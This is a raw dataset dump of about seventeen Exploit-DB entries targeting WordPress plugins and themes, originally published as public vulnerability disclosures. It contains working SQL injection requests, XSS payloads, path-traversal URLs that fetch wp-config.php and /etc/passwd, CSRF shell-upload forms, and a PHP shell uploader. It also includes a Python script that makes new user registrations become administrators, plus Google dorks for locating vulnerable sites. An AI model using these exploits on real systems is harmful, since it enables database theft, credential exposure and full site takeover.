deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17778
Description: WordPress Plugin Zotpress 4.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-04
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Zotpress plugin <= 4.4 SQL Injection Vulnerability
# Date: 2011-09-04
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/zotpress.4.4.zip
# Version: 4.4 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/zotpress/zotpress.rss.php?api_user_id=1&account_type=test&displayImages=true&displayImageByCitationID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if ($mzr_api_user_id == false
	&& $mzr_include == false
	&& (isset($_GET['api_user_id']) && preg_match("/^[0-9]+$/", $_GET['api_user_id'])))
{
	$mzr_api_user_id = trim($_GET['api_user_id']);
}
...
if ($mzr_account_type == false
	&& $mzr_include == false
	&& (isset($_GET['account_type']) && preg_match("/^[a-zA-Z]+$/", $_GET['account_type'])))
{
	$mzr_account_type = trim($_GET['account_type']);
}
...
if ($mzr_displayImages == false
	&& $mzr_include == false
	&& (isset($_GET['displayImages']) && preg_match("/^[a-zA-Z]+$/", $_GET['displayImages'])))
{
	$zp_update_db_shortcode_request .= "image='".$_GET['displayImages']."', ";
	
	if ($_GET['displayImages'] == "true")
		$mzr_displayImages = true;
	else
		$mzr_displayImages = false;
}
...
if (isset($mzr_account_type) && isset($mzr_api_user_id))
{
	if ($mzr_displayImages == true)
	{
		if (isset($_GET['displayImageByCitationID']))
			$images = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."zotpress_images WHERE citation_id='".trim($_GET['displayImageByCitationID'])."'");
Exploit-DB #51739
Description: Wordpress Sonaar Music Plugin 4.7 - Stored XSS
Type: webapps
Platform: php
Date: 2023-10-09
Author: Furkan Karaarslan

Exploit:
# Exploit Title: Wordpress Sonaar Music Plugin 4.7 - Stored XSS
# Date: 2023-09-05
# Exploit Author: Furkan Karaarslan
# Category : Webapps
# Vendor Homepage: http://127.0.0.1/wp/wordpress/wp-comments-post.php
# Version: 4.7 (REQUIRED)
# Tested on: Windows/Linux
----------------------------------------------------------------------------------------------------
1-First install sonar music plugin.
2-Then come to the playlist add page. > http://127.0.0.1/wp/wordpress/wp-admin/edit.php?post_type=sr_playlist
3-Press the Add new playlist button
4-Put a random title on the page that opens and publish the page. > http://127.0.0.1/wp/wordpress/wp-admin/post-new.php?post_type=sr_playlist
5-This is the published page http://127.0.0.1/wp/wordpress/album_slug/test/
6-Let's paste our xss payload in the comment section. Payload: <script>alert("XSS")</script>
Bingoo

Request:
POST /wp/wordpress/wp-comments-post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 155
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp/wordpress/album_slug/test/
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: comment_author_email_52c14530c1f3bbfa6d982f304802224a=a%40gmail.com; comment_author_52c14530c1f3bbfa6d982f304802224a=a%22%26gt%3Balert%28%29; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_52c14530c1f3bbfa6d982f304802224a=hunter%7C[PII_REDACTED]%7CXGnjFgcc7FpgQkJrAwUv1kG8XaQu3RixUDyZJoRSB1W%7C16e2e3964e42d9e56edd7ab7e45b676094d0b9e0ab7fcec2e84549772e438ba9; wp-settings-time-1=[PII_REDACTED]
Connection: close

comment=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=Yorum+g%C3%B6nder&comment_post_ID=13&comment_parent=0&_wp_unfiltered_html_comment=95f4bd9cf5
Exploit-DB #49115
Description: Wordpress Theme Accesspress Social Icons 1.7.9 - SQL injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-27
Author: SunCSR

Exploit:
# Exploit Title: Wordpress Theme Accesspress Social Icons 1.7.9 - SQL injection (Authenticated)
# Exploit Author: SunCSR (Sun* Cyber Security Research) - Nguyen Khang
# Google Dork: N/A
# Date: 2020-08-24
# Vendor Homepage: https://accesspressthemes.com
# Software Link: https://wordpress.org/plugins/accesspress-social-icons/
# Version: <= 1.7.9
# Tested on: Ubuntu 18.04

Description:
A blind SQL injection vulnerability is present in Ajax load more.

<?php
$si_id = esc_attr($atts['id']);
global $wpdb;
$table_name = $table_name = $wpdb->prefix . "aps_social_icons";
$icon_sets = $wpdb->get_results("SELECT * FROM $table_name where si_id =
$si_id");

POC:
POST /wordpress/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F66&_locale=user
HTTP/1.1
Host: pwnme.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101
Firefox/79.0
Accept: application/json, */*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://pwnme.me/wordpress/wp-admin/post.php?post=66&action=edit
X-WP-Nonce: 514cd2ab3f
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://pwnme.me
Content-Length: 103
Connection: close
Cookie: wp-settings-time-2=[PII_REDACTED];
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=author%7C[PII_REDACTED]%7Cwp7Nu56SQz9nIWmkqZr94WFIpGZ6VfcTT5KaYPUULWe%7C3c4c3a80cbfd049b95b04a6104ded9b05f33f8a9900ccec818d5aa43c7102c79;
wp-settings-time-3=[PII_REDACTED]

{"id":66,"content":"<!-- wp:shortcode -->\n[aps-social id=\"4 and
sleep(5)\"]\n<!-- /wp:shortcode -->"}
Exploit-DB #34578
Description: WordPress Theme Acento - 'view-pdf.php?File' Arbitrary File Download
Type: webapps
Platform: php
Date: 2014-09-08
Author: alieye

Exploit:
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Title : WordPress acento theme Arbitrary File Download Vulnerability
# Author : alieye
# vondor : http://www.wpbyexample.com/detail/acentocultural.com
# Contact : cseye_ut@yahoo.com
# Risk : High
# Class: Remote
# Date: 01/09/2014
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++



You can download any file from your target ;)


exploit: http://victim.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php


Demo:

1-download wp-config.php file from site:

http://server/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/homepages/44/d398221315/htdocs/wp-config.php

2-download passwd file from root:

http://server/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/etc/passwd


#++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[#] Spt Tnx To ZOD14C , 4l130h1 , bully13 , 3.14nnph , amir and all cseye members
[#] Thanks To All Iranian Hackers
[#] website : http://cseye.vcp.ir/
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit-DB #38568
Description: WordPress Theme Ambience - 'src' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-06-09
Author: Darksnipper

Exploit:
source: https://www.securityfocus.com/bid/60458/info

The Ambience theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/themes/ambience/thumb.php?src=<body onload=alert(/darksnipper/)>.jpg
Exploit-DB #29669
Description: WordPress Theme Amplus - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-11-18
Author: DevilScreaM

Exploit:
#Title : Wordpress Amplus Themes CSRF File Upload Vulnerability

#Author : DevilScreaM

#Date : 11/17/2013 - 17 November 2013

#Category : Web Applications

#Type : PHP

#Vendor : http://themeforest.net

#Download : http://themeforest.net/item/amplus-responsive-multilingual-wordpress-theme/

#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
     Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber

#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |

#Tested : Mozila, Chrome, Opera -> Windows & Linux

#Vulnerabillity : CSRF

#Dork : 

inurl:wp-content/themes/amplus


CSRF File Upload Vulnerability

Exploit & POC : 

http://site-target/wp-content/themes/amplus/functions/upload-handler.php

Script :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/amplus/functions/upload-handler.php" method="post"> 
Your File: <input name="uploadfile" type="file" /><br /> 
<input type="submit" value="upload" /> 
</form> 


File Access :

http://site-target/uploads/[years]/[month]/your_shell.php

Example : http://127.0.0.1/wp-content/uploads/2013/11/devilscream.php
Exploit-DB #39299
Description: WordPress Theme Antioch - 'download.php' Arbitrary File Download
Type: webapps
Platform: php
Date: 2014-09-08
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/69673/info

Antioch theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. 

http://www.example.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
Exploit-DB #21646
Description: WordPress Theme Archin 3.2 - Configuration Access
Type: webapps
Platform: php
Date: 2012-10-01
Author: bwall

Exploit:
# Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access
# Date: Sept 29, 2012
# Exploit Author: bwall (@bwallHatesTwits)
# Vendor Homepage: http://themeforest.net/user/wptitans
# Software Link: http://themeforest.net/item/archin-premium-wordpress-business-theme/239432
# Version: 3.2
# Tested on: Ubuntu
import httplib, urllib

#target site
site = "10.10.10.5"
#path to ajax.php
url = "/wordpress/wp-content/themes/archin/hades_framework/option_panel/ajax.php"

def ChangeOption(site, url, option_name, option_value):
	params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})
	headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
	conn = httplib.HTTPConnection(site)
	conn.request("POST", url, params, headers)
	response = conn.getresponse()
	print response.status, response.reason
	data = response.read()
	print data
	conn.close()
	
ChangeOption(site, url, "admin_email", "fake@ballastsecurity.net")
ChangeOption(site, url, "users_can_register", "1")
ChangeOption(site, url, "default_role", "administrator")
print "Now register a new user, they are an administrator by default!"
Exploit-DB #29068
Description: WordPress Theme Area53 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-10-19
Author: Byakuya Kouta

Exploit:
###################################################################################################
#_________            .___        _______                ___.   .__        
#\_   ___ \  ____   __| _/____    \      \   ______  _  _\_ |__ |__| ____  
#/    \  \/ /  _ \ / __ |/ __ \   /   |   \_/ __ \ \/ \/ /| __ \|  |/ __ \ 
#\     \___(  <_> ) /_/ \  ___/  /    |    \  ___/\     / | \_\ \  \  ___/ 
# \______  /\____/\____ |\___  > \____|__  /\___  >\/\_/  |___  /__|\___  >
#        \/            \/    \/          \/     \/            \/        \/ 
###################################################################################################
# Exploit Title: WordPress Area53 theme Arbitrary File Upload Vulnerability
# Author: Byakuya
# Date: 10/19/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://themeforest.net/item/area53-a-responsive-html5-wordpress-theme/2538737
# Affected Version: v1.0.1 - v1.0.5
# Price: $50
# Category: webapps/php
# Google dork: inurl:wp-content/themes/area53/
###################################################################################################

# Exploit

<?php
$uploadfile = "up.php";
$ch = curl_init(“http://site.com/wordpress/wp-content/themes/area53/framework/_scripts/valums_uploader/php.php”);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array(‘qqfile’=>”@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print “$postResult”;
?>

#Shell path: http://site.com/wordpress/wp-content/uploads/2013/10/up.php

#Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie
#Facebook: https://www.facebook.com/CodeNewbieCrew
#Website: http://www.codenewbie.net
#Malaysia & Indonesia BlackHat
###################################################################################################
Exploit-DB #36178
Description: WordPress Theme Atahualpa 3.6.7 - 's' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-29
Author: SiteWatch

Exploit:
source: https://www.securityfocus.com/bid/49865/info

The Atahualpa theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Atahualpa 3.6.8 are vulnerable. 

http://www.example.com/?s=%26%23039;%2balert(123)%2b%26%23039;
Exploit-DB #39297
Description: WordPress Theme Authentic - 'download.php' Arbitrary File Download
Type: webapps
Platform: php
Date: 2014-09-08
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/69671/info

Authentic theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.

http://www.example.com/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php
Exploit-DB #39552
Description: WordPress Theme Beauty & Clean 1.0.8 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-03-11
Author: Colette Chamberland

Exploit:
* Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8
* Discovery Date: 02.09.2016
* Public Disclosure Date:03.09.2016
* Vendor Homepage: http://www.yourinspirationweb.com
* Exploit Author: Colette Chamberland (Wordfence)
* Contact: colette@wordfence.com
* Version: 1.0.8 (may affect newer versions but this was all I had)
* Tested on: Wordpress 4.2.x-4.4.x
 
Description
================================================================================
 The Beauty Premium theme contains a contact form that is vulnerable to CSRF
 and File Upload vulnerability in the sendmail.php file. The file attachment
 gets uploaded to the wordpress upload directory and it is not sanitized,
 allowing attackers to upload harmful code. 
 
 
PoC
================================================================================
Google Dork inurl:themes/beauty-premium/ or detect via WPScan:

<form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data">
<input type="text" name="yiw_contact[name]" id="name-test" class="required" value="test" />
<input type="text" name="yiw_contact[email]" id="email-test" class="required email-validate" value="test@nowhere.com" />
<input type="text" name="yiw_contact[phone]" id="phone-test" class="" value="[PII_REDACTED]" />
<input type="text" name="yiw_contact[website]" id="website-test" class="" value="http://www.blah.com" />
<textarea name="yiw_contact[message]" id="message-test" rows="8" cols="30" class="required">This is a FUV test&lt;/textarea&gt;
<input type="file" name="yiw_contact[file]" allow="text/*" maxlength="50">
<li class="submit-button">
<input type="hidden" name="yiw_action" value="sendemail" id="yiw_action" />
<input type="hidden" name="yiw_referer" value="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" />
<input type="hidden" name="id_form" value="test" />
<input type="submit" name="yiw_sendemail" value="send message" class="sendmail alignright" />			</li>
</form>

You will receive a 404 error after posting, but navigate to the sites upload directory and access your uploaded file directly.
Exploit-DB #36187
Description: WordPress Theme Black-LetterHead 1.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-30
Author: SiteWatch

Exploit:
source: https://www.securityfocus.com/bid/49879/info

The Black-LetterHead theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Black-LetterHead theme 1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=69566599%3C/ScRiPt%3E/t Post Request:s=1&
Exploit-DB #36287
Description: WordPress Theme Bonus 1.0 - 's' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-04
Author: 3spi0n

Exploit:
source: https://www.securityfocus.com/bid/50527/info

The Bonus theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Bonus 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/?s="><script>alert("3spi0n")</script>
Exploit-DB #45896
Description: WordPress Theme CherryFramework 3.1.4 - Backup File Download
Type: webapps
Platform: php
Date: 2018-11-21
Author: b1p0l4r

Exploit:
# Exploit Title: Wordpress CherryFramework Themes 3.1.4 - Backup File Download
# Google Dork: inurl:/wp-content/themes/CherryFramework
# Date: 2018-11-17
# Exploit Author: b1p0l4r
# Vendor Homepage: http://www.cherryframework.com/
# Software Link: http://www.cherryframework.com/
# Version: 3.x.x > 3.1.4
# Tested on: Ubuntu 18.0.4.1
# CVE : N/A

# The CherryFramework Cherry theme 3.1.4 for WordPress allow
# remote attackers to
# obtain potentially sensitive information via
# wp-content/themes/CherryFramework/admin/data_management/ download_backup.php
# because it
# offers the option of a ZIP archive containing the entire content of the wp-content/themes directory.

# [PoC]
# just open that files/link and then showing the popup for saving a .ZIP file
# EXAMPLE LINK = 

https://www.victim.com/wp-content/themes/CherryFramework/admin/data_management/download_backup.php 

# IndoXploit, ZeroByte.ID, Eldersc0de Family, Exploiter Xero Team
Exploit-DB #38237
Description: WordPress Theme Chocolate WP - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-01-23
Author: Eugene Dokukin

Exploit:
source: https://www.securityfocus.com/bid/57541/info

The Chocolate WP Theme for WordPress is prone to multiple security vulnerabilities.

An attacker may leverage these issues to cause denial-of-service conditions, upload arbitrary files to the affected computer, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php
Exploit-DB #18053
Description: WordPress Theme classipress 3.1.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-31
Author: Paul Loftness

Exploit:
# Exploit Title: WordPress Classipress Theme <= 3.1.4 Stored XSS
# Date: 2011-09-26
# Author: Paul Loftness
# Contact:http://attackvectorlabs.blogspot.com
# Vendor: Appthemes LLc. 
# Product Web Page: http://www.appthemes.com/themes/classipress/
# Version: <=3.1.4
# Tested Versions: 3.1.4, 3.0.5.3

Summary:
-------------------------
ClassiPress is a popular and widely used classified ads software for WordPress. 

Description: 
-------------------------
Classipress is vulnerable to multiple stored XSS vulnerabilities.  Input through the POST parameters 'facebook_id' and 'twitter_id' in a registered user's profile page is either not sanitisized or poorly sanitised (version specific) allowing the attacker to insert Javascript code. 

In version 3.0.5.2 and presumably all previous versions, no sanitation is in place, allowing an attacker to insert code within a tag or to break out of it.  In version 3.1.4, the less-than character is sanitised but an attacker can still insert quotes and place an event handler in the tag.  


Proof-of-Concept Code:
-------------------------

Insertion page: http://example_site/author/profile/
Infected page : http://example_site/author/attacker_username/
Note: Some sites replace "author" with another path, this is not a vanilla configuration, however. 

Version: ClassiPress 3.0.5.2
Vulnerable Input Parameters:

	twitter_id:  " onmouseover="alert('XSS');
	facebook_id: " onmouseover="alert('XSS');
    Alternate Exploit code:
	twitter_id:  "><script>alert('XSS');</script><div id="
	facebook_id: "><script>alert('XSS');</script><div id="


Version: ClassiPress 3.1.4
Vulnerable Input Parameters:
	
	twitter_id:  " onmouseover='alert("XSS");'><
	facebook_id: " onmouseover='alert("XSS");'><


Timeline:
-------------------------
Vulnerability Discovered: 8/10/2011
Vulnerability Reported to Vendor: 9/1/2011
Patch Released with version 3.1.5: 10/7/2011